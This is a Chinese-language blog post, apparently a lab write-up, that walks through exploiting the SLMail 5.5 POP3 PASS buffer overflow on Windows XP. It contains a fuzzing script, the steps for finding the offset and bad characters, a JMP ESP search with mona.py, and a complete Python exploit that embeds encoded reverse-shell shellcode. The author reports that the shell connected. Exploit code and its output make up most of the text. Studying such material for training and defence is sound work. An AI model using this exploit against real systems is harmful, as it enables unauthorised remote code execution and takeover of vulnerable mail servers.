slmail--缓冲区溢出

实验环境:WindowsXP-Pro-sp2
准备:immunity-debugger-1.85;mona-master;slmail5.5
链接:https://pan.baidu.com/s/1BJQGOZnqPtdRbxv2I8Z2OA
提取码:bfot
备注:
里面有一个XP激活工具,在安全模式下使用,我遇到了这个问题,就放到里面了。
为什么用XP?其他更高版本会有防护机制,偏离了缓冲区溢出的初衷,这里就做个简化。
immunity-debugger-1.85;smail5.5分别无脑安装
mona-master中的mona.py移动到\Immunity Inc\Immunity Debugger\PyCommands
检查是否在监听:(留意25,110,180,8376等端口)
在这里插入图片描述在这里插入图片描述

攻:kali 192.168.80.158
鸡:XP 192.168.80.80

kali:测试:
nc 192.168.80.80 25
nc 192.168.80.80 110
正文:
1.什么是缓冲区溢出:当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误导致缓冲区被“挤爆了”从而变量覆盖了相邻数据区域的数据。
其实这里有一个感悟,漏洞的形成是因为对输入的限制不严格,人机交互的过程中,‘机’就会被“操作”,xss,SQL,etc
2.想去探究一个邮件服务器是否存在漏洞,从哪里入手?
~就是可以向目标端口输入参数的地方,所谓能够人机交互的点,在这里发送各种参数。与此同时,在xp(服务器端)利用immunity-debugger来跟踪这些接收到的数据是怎么处理的,能不能发生缓冲区溢出。
3.信息收集:
slmail5.5 mail server
~pop3 pass 命令存在缓冲区溢出漏洞
~无需身份验证实现远程代码执行
两种高版本win防护机制:
DEP:阻止代码从数据页被执行
ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化
4.如何收集到的pop3漏洞
~有哪些命令?需要哪些函数?
·RFC文档,寻找能够人机交互的点
·wireshark抓包,学习协议,写脚本程序
5.如何触发漏洞
~发送的数据确实大于给定的容量
~针对不同的输入点进行fuzzing测试
~利用python脚本自动化尝试,不断增大数据量,确定目标的“容量是多少”“界限在哪里”
~python脚本:(这里需要注意一点如果把脚本从win直接复制到Linux,会有一个换行的错误

#!/usr/bin/python
import socket

buffer=["A"]
counter=100
while len(buffer) <= 50:
	buffer.append("A"*counter)
	counter=counter+200

for string in buffer:
	print "Fuzzing PASS with %s bytes" % len(string)
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	connect = s.connect(('192.168.80.80',110))
	s.recv(1024)
	s.send('USER test'+'\r\n')
	s.recv(1024)
	s.send('PASS' + string + '\r\n')
	s.send('QUIT\r\n')
	s.close()

代码主要功能:
~不停的发送参数A,看什么时候溢出,那么如何判断?
在服务端
6.服务端(XP)动态跟踪
immunity-debugger->attatch110端口->此时客户端执行python脚本,发送大量的参数,会发现2900bytes时候,服务端溢出
重点关注服务端的寄存器状态:
在这里插入图片描述

关注EIP、ESP、EBP寄存器的状态:41414141都被填满了A(此处可以对照ASCII码表)
其中EIP存放下一条指令的地址,但是被填满了,就会出错。这个寄存器是重点研究对象。可以利用这一点操作若干事件。
slmail没有对接受的数据的大小进行限制,当数据过于大的时候就会溢出,进而发送的参数值就会覆盖上面三个寄存器的值。
7.知道溢出的精确点
利用python脚本来获取发生溢出的点到底是哪个字节

#!/usr/bin/python

import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer='A'*2800//测试多少个字节
try:
	print "\nSending evil buffer..."
	s.connect(('192.168.80.80',110))
	date=s.recv(1024)
	s.send('USER test'+'\r\n')
	data = s.recv(1024)
	s.send('PASS'+buffer+'\r\n')
	print "\nDONE!"
except:
	print "Could not connect to POP3!"

在这里插入图片描述

注意:当我们测试到2600个A的时候EIP的值发生了变化,但是还是发生了溢出,为什么?
~因为2600个A的时候,虽然溢出但是不足以多到修改EIP。
~应该想到,增补足够多的A,可以覆盖EIP,此时恰好是我们可以任意修改EIP的值,来达到我们想要的目的

如何精确找到那个“阈值”:二分法(二分法些许笨拙,我尝试了好多遍)、唯一字符串法(生成每四个一组的字符并且互不相同,共有2700个)
~kali中生成唯一字符串:(旧版本的kali路径可能不太一样)将生成的字符串替换上面脚本里面的buffer的内容
在这里插入图片描述

再次发送buffer,EIP中的内容如下:44 39 69 44–>对照ASCII中的内容,得到:D 9 i D–>D i 9 D(找到在下面的位置)
在这里插入图片描述

~继续利用上述kali中的模块,计算到精确地位置:
在这里插入图片描述

说明第2608个字符开始是Di9D,前面2607个字符全是A,这样从第2608个字符开始我们是可以随便操作的
8.判断我们的判断是不是正确的,溢出位置是不是2607
~修改上面的python脚本:

#!/usr/bin/python

import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer='A'*2607+4*'N'+'B'*25
try:
	print "\nSending evil buffer..."
	s.connect(('192.168.80.80',110))
	date=s.recv(1024)
	s.send('USER test'+'\r\n')
	data = s.recv(1024)
	s.send('PASS'+buffer+'\r\n')
	print "\nDONE!"
except:
	print "Could not connect to POP3!"

在这里插入图片描述

那么事实证明确实是这样的,我这里的EIP的值就是4E4E4E4E(NNNN)并且后面的25个字符被B填充了,未来就可以在这个临界点进行操作了。修改EIP的值,执行恶意的指令。(注意:EIP里面存放的是下一条指令的地址),并且注意ESP的值,后面的内容被我们的B填充了。–》那么就说明,我们可以修改它(例如我们的shellcode),并让EIP的值,指向ESP的地址,这样就达到了目的。至少现在理论是这样的,那么实际上能不能行,不得而知。
在这里插入图片描述

9.做个总结:已经找到了slmail的pass命令存在缓冲区溢出漏洞,并且也已经找到了精确地溢出‘阈值’,也确实可以人为控制ESP、EIP的数值。那么我们可以将EIP修改为shellcode代码的内存地址,将shellcode写入到该地址空间,程序读取EIP寄存器数值,将跳转到shellcode代码段执行,那么我们找到可存放shellcode的内存空间目的就达到了。
10.如何找到可存放shellcode的内存空间?
~因为发现ESP的内容可以被改变那么,就尝试看看,是否能够存放shellcode
~python脚本:

#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer="A"*2607+"N"*4+"B"*(3500-2606-4)
try:
	print "\nSending evil buffer...."
	s.connect(('192.168.80.80',110))
	date = s.recv(1024)
	s.send('USER test'+'\r\n')
	data = s.recv(1024)
	s.send('PASS' + buffer +'\r\n')
	print "\nDONE!"
except:
	print "Could not connect to POP3"

通过不断改变后面B的数量,我们来检测,这个ESP到底能够存放多大的数据,能不能存放我们的shellcode
调整到恰当的数量后,计算其中B的个数,immunity debugger中鼠标左键点击ESP寄存器,邮件flow in dump计算B的个数,如图:
在这里插入图片描述

计算得ESP寄存器有416字节,足以存放shellcode(小巧的shellcode大小为300左右),此时就可以设想写一个shellcode传到ESP的位置,让EIP的内容为这个ESP的地址,那么就可以达到我们的目的
10.修改代码把shellcode放进去
设想终归是设想,操作起来没有那么容易,不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,或者认为这些字符有特殊的用途,当我们的shellcode中包含这些字符,并且传到目标系统的缓冲区中,我们的shellcode就不能正常工作了。那我们在fuzzing测试的时候就要找到这些坏字符。
~坏字符测试:首先明确我们测试的服务是pop3,要明确这个服务规定的一些信息(有点类似于渗透测试中信息收集的工作,无疑是很重要的
思路:发送0x00-0xff,256个字符,查找所有坏字符
~pop3中的特殊字符:
null byte (0x00)空字符,用于终止字符串的拷贝工作
return (0x0D)回车操作,表示pop3 PASS命令输入完成
python脚本:

!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
bad_chars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x00")
buffer="A"*2607+"N"*4+bad_chars

try:
        print "\nSending evil buffer...."
        s.connect(('192.168.80.80',110))
        date = s.recv(1024)
        s.send('USER test'+'\r\n')
        data = s.recv(1024)
        s.send('PASS' + buffer +'\r\n')
        print "\nDONE!"
except:
        print "Could not connect to POP3"

执行脚本:结果如图:
在这里插入图片描述

ESP后年的内容没有了,说明shellcode出错了,接下来排除。依旧是上面的操作,flow in dump,
在这里插入图片描述

可以看出,0x0a,这里发生了错误,怀疑0x0a可能是坏字符,修改脚本,继续测试。我把0x0a改成了0x09。
结果如图:
在这里插入图片描述

0x0D,被过滤了;0x00;没有出现
总结坏字符:0x0a、0x0D、0x00
11.数据重定向
action:把ESP的地址改为EIP的值,CPU到ESP里面去提取地址,然后执行ESP里面的shellcode,我们把shellcode放到对应的地址空间,就可以执行–理论是可行的
~难点在于,ESP的地址是变化的,因为slmail应用是基于线程的,OS为每个线程应用程序分配一段地址范围,该地址范围不确定
~思路:在内存中寻找地址固定的系统模块(操作系统xp自带的模块,里面有很多指令);在模块中寻找JMP ESP指令的地址跳转(将改地址放到EIP中),再由该指令间接跳转到ESP,从而执行shellcode简言之:地址固定的系统模块中的jmp esp指令地址–>eip–>esp
~mona.py(在内存中寻找地址固定的系统模块)脚本识别内存模块,搜索“return address”是JMP ESP指令的模块
~寻找无DEP,ALSR保护的内存地址,内存地址不包含坏字符
12.使用mona.py脚本
!mona moudles查找当前操作系统中运行的模块
在这里插入图片描述

12.怎么选能够完成我们目的的模块?
rebase:操作系统重启后内存地址是否发生变化,true发生,false不发生
safeseh、aslr、nxcompat:操作系统提供的内存机制,不选这种
OS dll:操作系统动态链接库,选择操作系统自带的,true
符合条件的:
在这里插入图片描述
Openc32.dll
在这里插入图片描述
SLMFC.DLL

在这里插入图片描述
MFC42LOC.DLL

~接下来查找对应的模块中是否有JMP ESP的命令(注意内存地址中存的都是二进制,将汇编转换成二进制)
!mona find -s " " -m module_name
在这里插入图片描述

!mona find -s “\xFF\xE4” -m Openc32.dll结果如下图,没有
在这里插入图片描述

!mona find -s"\xff\xe4" -m SLMFC.dll
在这里插入图片描述

找到了那么多个,很好呀!
因为没有相应的保护机制,所以任选一个也是可以的。

13.利用python脚本,将EIP的值设为JMP ESP指令的所在地址的值

#!/usr/bin/python
import socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

buffer="A"*2606+"\xe3\x41\x4b\x5f" +"C"*390
try:
	print "\nSending evil buffer..."
	s.connect(('192.168.80.80',110))
	date=s.recv(1024)
	s.send('USER test'+'\r\n')
	data=s.recv(1024)
	s.send('PASS'+buffer+'\r\n')
	s.close()
	print "\nDONE!"
except:
	print "Could not connect to POP3"

上述代码已经完成,将EIP的值设置为JMP ESP的地址,并执行ESP中的内容,下面就要将C替换为我们的shellcode
14.生成shellcode
利用kali中的一些工具:
/usr/share/framework2/msfpayload
配置相应参数可以直接生成payload,但是要注意坏字符的问题
采用的是win32_reverse这个反向连接的payload,所以未来发送shellcode的时候需要监听本机4444端口
配置相应参数可以直接生成payload

查找坏字符:
在这里插入图片描述

~处理坏字符-利用kali中的工具
先生成shellcode再进行编码,解决掉坏字符的问题
在这里插入图片描述

15.修改脚本,上传shellcode

#!/usr/bin/python
import socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

#buffer="A"*2607+"\xe3\x41\x4b\x5f" +"\x90"*8+"C"*390
shellcode=(
"\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x7a\xe2\x2b"+
"\xb0\x83\xeb\xfc\xe2\xf4\x86\x88\xc0\xfd\x92\x1b\xd4\x4f\x85\x82"+
"\xa0\xdc\x5e\xc6\xa0\xf5\x46\x69\x57\xb5\x02\xe3\xc4\x3b\x35\xfa"+
"\xa0\xef\x5a\xe3\xc0\xf9\xf1\xd6\xa0\xb1\x94\xd3\xeb\x29\xd6\x66"+
"\xeb\xc4\x7d\x23\xe1\xbd\x7b\x20\xc0\x44\x41\xb6\x0f\x98\x0f\x07"+
"\xa0\xef\x5e\xe3\xc0\xd6\xf1\xee\x60\x3b\x25\xfe\x2a\x5b\x79\xce"+
"\xa0\x39\x16\xc6\x37\xd1\xb9\xd3\xf0\xd4\xf1\xa1\x1b\x3b\x3a\xee"+
"\xa0\xc0\x66\x4f\xa0\xf0\x72\xbc\x43\x3e\x34\xec\xc7\xe0\x85\x34"+
"\x4d\xe3\x1c\x8a\x18\x82\x12\x95\x58\x82\x25\xb6\xd4\x60\x12\x29"+
"\xc6\x4c\x41\xb2\xd4\x66\x25\x6b\xce\xd6\xfb\x0f\x23\xb2\x2f\x88"+
"\x29\x4f\xaa\x8a\xf2\xb9\x8f\x4f\x7c\x4f\xac\xb1\x78\xe3\x29\xa1"+
"\x78\xf3\x29\x1d\xfb\xd8\xba\x4a\x7b\x2e\x1c\x8a\x3a\xec\x1c\xb1"+
"\xa2\x51\xef\x8a\xc7\x49\xd0\x82\x7c\x4f\xac\x88\x3b\xe1\x2f\x1d"+
"\xfb\xd6\x10\x86\x4d\xd8\x19\x8f\x41\xe0\x23\xcb\xe7\x39\x9d\x88"+
"\x6f\x39\x98\xd3\xeb\x43\xd0\x77\xa2\x4d\x84\xa0\x06\x4e\x38\xce"+
"\xa6\xca\x42\x49\x80\x1b\x12\x90\xd5\x03\x6c\x1d\x5e\x98\x85\x34"+
"\x70\xe7\x28\xb3\x7a\xe1\x10\xe3\x7a\xe1\x2f\xb3\xd4\x60\x12\x4f"+
"\xf2\xb5\xb4\xb1\xd4\x66\x10\x1d\xd4\x87\x85\x32\x43\x57\x03\x24"+
"\x52\x4f\x0f\xe6\xd4\x66\x85\x95\xd7\x4f\xaa\x8a\xdb\x3a\x7e\xbd"+
"\x78\x4f\xac\x1d\xfb\xb0")
buffer="A"*2607+"\xe3\x41\x4b\x5f"+"\x90"*8+shellcode
try:
	print "\nSending evil buffer..."
	s.connect(('192.168.80.80',110))
	date=s.recv(1024)
	s.send('USER test'+'\r\n')
	data=s.recv(1024)
	s.send('PASS'+buffer+'\r\n')
	s.close()
	print "\nDONE!"
except:
	print "Could not connect to POP3"

这里面“0x90”*8是一个很重要的点,相当于汇编语言里面的空字符,防止CPU在执行的时候将shellcode前几个字符覆盖,导致shellcode失效。
执行python脚本,反向连接成功。
在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值